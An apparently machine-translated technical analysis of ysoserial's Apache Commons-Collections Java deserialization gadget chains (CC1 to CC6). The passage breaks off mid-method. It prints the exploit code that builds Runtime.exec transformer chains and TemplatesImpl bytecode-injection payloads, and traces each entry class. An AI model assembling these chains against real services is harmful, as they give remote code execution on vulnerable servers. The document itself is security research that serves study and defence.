Ysoserial commons collections uses chain analysis

Keywords: Java

Commons-Collections1

First, construct the transformers reflection chain, call the ChainedTransformer method to encapsulate the transformers array, and concatenate the three reflections.

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec",new Class[] { String.class }, execArgs)
};

final Transformer transformerChain = new ChainedTransformer(transformers);

InvokerTransformer sink point resolution:
First, trace the invokertransformer #transform method of the base sink point and the invokertransformer construction method. The invoke method was invoked in the InvokerTransformer#transform(Object input) method.

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
             
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

There are three input points for the invoke method, namely the method object, input and this.iArgs parameters. Input is the incoming parameter of transform (whether this parameter is controllable depends on whether the incoming parameter is controllable when the transform method is called). this.iArgs can be assigned by calling the * * InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) * * constructor.

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

The method object can be obtained by calling * * cls.getMethod(this.iMethodName, this.iParamTypes) * *. The two formal parameters of the getMethod method can also be assigned by calling the InvokerTransformer construction method described above. At this time, the method method can be any method object in any class.

At this time, if you can control the incoming parameters of the transform method, you can call any method in any class through the invoke method.

Existing problems:

(1) If you can find a transform method that meets the conditions, you can call reflection only once. However, to construct a malicious Runtime object that can execute arbitrary commands, you need to call reflection three times.
(2) How to control the incoming parameters of the InvokerTransformer#transform method

For question 1, the tool author found the ChainedTransformer class.

Generate the Transformer array object by calling the ChainedTransformer constructor.

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

By calling the ChainedTransformer#transform method, the Transformer objects in the Transformer array can be called in turn, so the concatenation of the transform triple reflection method is completed.

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

To solve problem 2, the tool author found the ConstantTransformer class. By calling the ConstantTransformer construction method, you can assign a value to the iConstant attribute

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

Because ConstantTransformer inherits the Transformer interface, it can also be loaded into the Transformer array, calling the transform method. * * The ConstantTransformer#transform(Object input) * * method returns the previously controllable iConstant attribute, which controls the incoming parameters of the InvokerTransformer#transform method

At this time, when the ChainedTransformer#transform method loaded with four transform objects is called, reflection will be triggered, and the effect is equivalent to the following code.

Class clazz = Runtime.class;
Object obj1 = clazz.getClass().getMethod("getMethod", new Class[]{"getRuntime".getClass(), new Class[0].getClass()}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
Object obj2 = obj1.getClass().getMethod("invoke", new Class[]{new Object().getClass(), new Object[0].getClass()}).invoke(obj1, new Object[]{null, new Object[0]});
Object obj3 = obj2.getClass().getMethod("exec", new Class[]{new String[]{"calc"}.getClass()}).invoke(obj2, new Object[]{new String[]{"calc"}});

After sorting out the sink points, you need to find a source that can call the ChainedTransformer#transform method.
The tool author found the LazyMap class to call the transform method. When the LazyMap#get method is called, the * * this.factory.transform(key) * * method will be called.

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

The this.factory object can be controlled by calling the decorate (map, transformer factory) method and then calling the lazymap (map, factory factory) construction method

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

At this time, you only need to find the entry to call LazyMap#get(Object key) method to complete the above construction of utilization chain.

Next, the author finds the entrance class of sun.reflect.annotation.AnnotationInvocationHandler. In the sun.reflect.annotation.AnnotationInvocationHandler#invoke method, the **this.memberValues.get(var4) * method is called.

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;

        if (var4.equals("toString")) {
            return this.toStringImpl();
        } else if (var4.equals("hashCode")) {
            return this.hashCodeImpl();
        } else if (var4.equals("annotationType")) {
            return this.type;
        } else {
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

In the AnnotationInvocationHandler constructor, you can assign a value to this.memberValues property.

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}

AnnotationInvocationHandler inherits Serializable and can be deserialized. Trace the readObject method of the deserialization entry.

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

Call this.memberValues.entrySet().iterator() method in the readObject method, where this. Membervalues can be assigned as LazyMap object by calling the AnnotationInvocationHandler construction method, and the LazyMap object is created into a dynamic proxy class with the proxy interface of Map.class. When calling the method in the Map.class class class, the AnnotationInvocationHandler#invoke method will be called. entrySet method is a method in Map.class, so it will enter the AnnotationInvocationHandler #invoke method and call this.memberValues.get(var4) method, where this.memberValues is LazyMap, so it completes the concatenation of sink points and the construction of the whole gadget.

Commons-Collections2

Firstly, the sink point is analyzed. The author calls the custom method Gadgets.createTemplatesImpl to generate the TemplatesImpl object. Track the generation process specifically.
First, go to the gadgets# createtemplate smimpl method.

public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

Overload the createtemplatesimpl (command, templatesimpl. Class, abstracttranlet. Class, transformerfactoryimpl. Class) method in the class, and pass in the cmd malicious command and org.apache.xalan.xsltc.trax.TemplatesImpl.class, org.apache.xalan.xsltc.runtime.abstracttranlet.class, org.apache.xalan.xsltc.trax.TransformerFactoryImpl.class. Focus on tracking how cmd is injected into the utilization chain.

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
    final T templates = tplClass.newInstance();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        "\");";
    clazz.makeClassInitializer().insertAfter(cmd);
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

Combined with the relevant methods of Javasist library, analyze the createTemplatesImpl method:

ClassPool pool = ClassPool.getDefault();  //Create a ClassPool instantiation object. ClassPool is a container of CtClass class representing class files
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));  //Add the path of StubTransletPayload.class to the class search path. (this method is usually used to write additional class search paths to solve the problem that classes cannot be found in multiple class loader environments)
pool.insertClassPath(new ClassClassPath(abstTranslet));  //Similarly, add the path of org.apache.xalan.xsltc.runtime.AbstractTranslet.class to the class search path.
final CtClass clazz = pool.get(StubTransletPayload.class.getName());  //Get the CtClass object of StubTransletPayload for subsequent editing.
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";  //Declare the cmd property object and inject the passed in command parameter.
clazz.makeClassInitializer().insertAfter(cmd);  //Clazz. Makeclassinitializer() - > new static code block.
                                                //Insertafter() - > insert code.
                                                //This code is to inject the code in the cmd variable into the static code block in the StubTransletPayload class.
clazz.setName("ysoserial.Pwner" + System.nanoTime());  //Modify the class name (I don't know what the specific function is for now)
CtClass superC = pool.get(abstTranslet.getName());  //Get the org.apache.xalan.xsltc.runtime.AbstractTranslet object (StubTransletPayload inherits from org.apache.xalan.xsltc.runtime.AbstractTranslet)
clazz.setSuperclass(superC);  //Set org.apache.xalan.xsltc.runtime.AbstractTranslet as the parent of StubTransletPayload.
final byte[] classBytes = clazz.toBytecode();  take StubTransletPayload Object to byte Array.
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});  //Assign the byte stream of the StubTransletPayload object to the _bytecodes property through reflection.
Reflections.setFieldValue(templates, "_name", "Pwnr");  //Reflection assignment
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());  //Reflection assignment factory class.

Summarize the above process, inject malicious code into the custom StubTransletPayload class by using Javasist library, convert the StubTransletPayload class into byte array, assign bytecodes attribute in org.apache.xalan.xsltc.trax.TemplatesImpl class by reflection, and finally return TemplatesImpl object.

At this point, when instantiating the**_ The class in bytecodes * * attribute can trigger the execution of malicious code. The author found the TemplatesImpl#newTransformer method load_ byte stream in bytecodes.

public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

Focus on the getTransletInstance method called by the follow-up analysis.

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

First, call the defineTransletClasses() method to load_ bytecodes.

private void defineTransletClasses() throws TransformerConfigurationException {
    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

class[i] = loader.defineClass(_bytecodes[i]) will_ Malicious byte stream in bytecodes property, assigned to TemplatesImpl#_class attribute.
Back to the getTransletInstance method, call the class [_translteindex]. Newinstance() method, instantiation_ class in the byte stream to trigger malicious code.

Now, you need to find a way to call the TemplatesImpl#newTransformer method. Recall the InvokerTransformer#transform(object input) method in CommonsCollections1 that can call any method.

  • Use the TemplatesImpl object as an passed in parameter to the transform method
  • Assign newTransformer to InvokerTransformer#iMethodName
  • Find a way to call the InvokerTransformer#transform(object input) method

If the above three conditions are met, the TemplatesImpl#newTransformer method can be implemented.

The second condition can be solved by reflection. The focus is to find a source that can meet condition 1 and condition 3. Here, the tool author finds java.util.PriorityQueue as the entry class. Analyze from the deserialization entry PriorityQueue#readObject method.

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

Call * * heapify() * * method.

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

Call the * * siftDown(i, (E) queue[i]) * * method.

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

There is a judgment logic here. The judgment condition is whether the PriorityQueue#comparator is empty. Execute the siftDownUsingComparator method.
Enter the siftDownUsingComparator method.

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

By calling the siftDownUsingComparator method, you can call the compare method of any class that implements the java.util.Comparator interface.
At this point, we need to find a class that implements the java.util.Comparator interface and calls the InvokerTransformer#transform method in the compare method. The tool author found the org. Apache. Commons. Collections4. Comparators. Transforming comparator class.

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

You can assign a value to this.transformer by calling the transformatingcomparator (transformer <? Super I,? Extends o > transformer) construction method.

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
    this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}

Through the org.apache.commons.collections4.comparators.TransformingComparator class, condition 1 (take the TemplatesImpl object as the input parameter of the transform method) and condition 3 (find a way to call the InvokerTransformer#transform(object input) method) are met).

So far, the construction of the whole utilization chain is completed.

Commons-Collections3

The source of CommonsCollections3 is the same as that of CommonsCollections1. Both take sun.reflect.annotation.AnnotationInvocationHandler as the entry, create a Map dynamic proxy class, and call the invoke method of sun.reflect.annotation.AnnotationInvocationHandler to call the LazyMap#get method, Control and implement the transform method in any class under the Transformer interface.

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

return handler;

The idea of constructing the sink point of CommonsCollections3 is the same as the base sink point in CommonsCollections2 (inject the malicious byte stream into the * * #u bytecodes attribute in the org.apache.xalan.xsltc.trax.TemplatesImpl class and wait for the TemplatesImpl#newTransformer method to be called).
Object templatesImpl = Gadgets.createTemplatesImpl(command);
CommonsCollections3 is different in that the Gadget author found the com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter * * class. In the TrAXFilter(Templates templates) construction method, templates.**newTransformer() * method is called.

public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

Just find a method that can call TrAXFilter (malicious Templates object). The Gadget author found the InstantiateTransformer#transform(object input) method and called this method to call the TrAXFilter construction method.

final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } )
    }
);

Similar to the InvokerTransformer#transform party, the InstantiateTransformer#transform(object input) method calls the constructor of the incoming object object.

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

If the input parameter of the transform method is controllable, and iParamTypes (construction method of the incoming object) and iArgs (incoming parameter of the construction method) are controllable, the construction method of any class can be called.

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}

The iParamTypes and iArgs parameters can be controlled by calling the InstantiateTransformer constructor.
The current goal is to call the construction method of traxfilter (malicious Templates object) and complete the following effects by constructing the ChainedTransformer reflection chain mentioned above:
Traxfilter.getconstructor (Templates. Class). Newinstance (malicious Templates object)
Thus, the TrAXFilter object that loads the malicious Templates object calls the construction method, and the newTransformer call of the malicious Templates object is realized. So as to complete the construction of utilization chain.

Commons-Collections4

The utilization chain construction of CommonsCollections4 combines the source point (java.util.PriorityQueue) of CommonsCollections2 and the sink point (com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter) of CommonsCollections3

sink:

Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
		paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

ยทยทยท

Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

source:

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

return queue;

**There is a problem here: * * why can't you directly pass in the TrAXFilter object when instantiating the ConstantTransformer object and Templates.class and Templates objects when instantiating the InstantiateTransformer object, as in CommonsCollections3?

Since PriorityQueue is used as the deserialization entry class and the queue attribute of the malicious object is loaded with the transient keyword, it is necessary to call the PriorityQueue#add method to assign value to the queue attribute, and during the assignment process, the comparator.compare(x, (E) e) method will be called.

public boolean add(E e) {
    return offer(e);
}

Call the offer method

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

Call the siftUpUsingComparator method

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

Finally, the comparator.compare(x, (E) e) method is called.

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

If you call the add method, call the ConstantTransformer(TrAXFilter.class) method to generate the ConstantTransformer instantiated object, and call InstantiateTransformer(Templates.class, malicious Templates object) to generate the InstantiateTransformer instantiated object. When the add method is called, the transformangcomparator #compare call chain will be triggered, and the ConstantTransformer#transform method will be called successively to return the traxfilter object. Then call the InstantiateTransformer#transform method and the TrAXFilter.getConstructor((Templates.class).newInstance(templates) method to trigger code execution before serialization and throw an exception to terminate the program (the normal process is to deserialize on the server and throw an exception after executing the code).

Therefore, in order to avoid program termination before serialization, you need to instantiate the normal ConstantTransformer instantiation object and InstantiateTransformer instantiation object that will not throw exceptions before calling the add method. After the add method is executed, the corresponding attributes in the two objects are changed through reflection to complete the normal operation of serialization.

The construction idea of CommonsCollections4, combined with the implementation of CommonsCollections3, calls the construction method by the TrAXFilter object that loads the malicious Templates object, implements the newTransformer call of the malicious Templates object, generates a malicious ChainedTransformer object, and then combined with the source of CommonsCollections2, calls the construction method of PriorityQueue, Assign a malicious ChainedTransformer object to the PriorityQueue#comparator property.

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

When the PriorityQueue is deserialized, call the comparator.compare method to call transformangcomparator.compare, and then call the ChainedTransformer.transform method to complete the call of sink point, so as to realize the construction of utilization chain.

Commons-Collections5

First, construct the transformers reflection chain, call the ChainedTransformer method to encapsulate the transformers array, and concatenate the three reflections.

Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), 
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 
new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)
};

Instantiate the map object, call the modify method in the LazyMap class, and assign the transformer chain object to the LazyMap#factory attribute. In this case, the LazyMap#get method is called, and the passed in key object is not in the map object, then the reflection chain mentioned above can be triggered.

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

Using the chain, the author encapsulates the LazyMap object with the TiedMapEntry class, controls the BadAttributeValueExpException#val attribute by deserializing the BadAttributeValueExpException class, and calls the toString() method in any class.

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException((Object)null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

The TiedMapEntry#getValue method is invoked in the TiedMapEntry#toString() method to trigger the map.get(this.key) method.

public String toString() {
    return this.getKey() + "=" + this.getValue();
}
public Object getValue() {
    return this.map.get(this.key);
}

So far, the construction of the whole utilization chain is completed.

Commons-Collections6

The sink chain of CommonsCollections6 still uses the InvokerTransformer reflection interface. ChainedTransformer is used to concatenate the InvokerTransformer reflection and the ConstantTransformer interface three times to obtain malicious Runtime classes. Call the lazymap.correct method to assign the malicious ChainedTransformer to LazyMap#factory. When calling the LazyMap#get(Object key) method, the execution of malicious code will be triggered. (same as the sink points of CommonsCollections1 and CommonsCollections5)

final String[] execArgs = new String[] { command };

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
    new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
        new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

The CommonsCollections6 gadget author has found the TiedMapEntry class, in which the **this.map.get(this.key) * method is invoked in the TiedMapEntry#getValue() method.

public Object getValue() {
    return this.map.get(this.key);
}

Call the tiedmapentry (map, object key) construction method to assign a value to the TiedMapEntry#map

public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}

The TiedMapEntry#getValue() method is called in the equals(Object obj), hashCode(), toString() methods in TiedMapEntry. Here, the author chooses to call the TiedMapEntry#hashCode() method

public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

At this point, you need to find a class that calls the hashCode() method, and you can serialize and deserialize the entry class in series. Here, the Gadget author finds the HashMap and HashSet.
In the HashMap#put method, the hash method is invoked and the hashcode method is invoked.

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

In the readObject method of the deserialization entry of the HashSet class

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read capacity and verify non-negative.
    int capacity = s.readInt();
    if (capacity < 0) {
        throw new InvalidObjectException("Illegal capacity: " +
                                         capacity);
    }

    // Read load factor and verify positive and non NaN.
    float loadFactor = s.readFloat();
    if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    }

    // Read size and verify non-negative.
    int size = s.readInt();
    if (size < 0) {
        throw new InvalidObjectException("Illegal size: " +
                                         size);
    }

    // Set the capacity according to the size and load factor ensuring that
    // the HashMap is at least 25% full but clamping to maximum capacity.
    capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
            HashMap.MAXIMUM_CAPACITY);

    // Create backing HashMap
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

In the process of deserialization, the HashMap object is instantiated and the map.put(e, PRESENT) method is called. If the e parameter passed in is controllable and the malicious TiedMapEntry object can be assigned, the malicious code can be executed. The e parameter is obtained by calling the readObject method, so you need to find the corresponding writeObject method to serialize the e parameter. The corresponding method was found in the HashSet#writeObject method.

private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // Write out any hidden serialization magic
    s.defaultWriteObject();

    // Write out HashMap capacity and load factor
    s.writeInt(map.capacity());
    s.writeFloat(map.loadFactor());

    // Write out size
    s.writeInt(map.size());

    // Write out all elements in the proper order.
    for (E e : map.keySet())
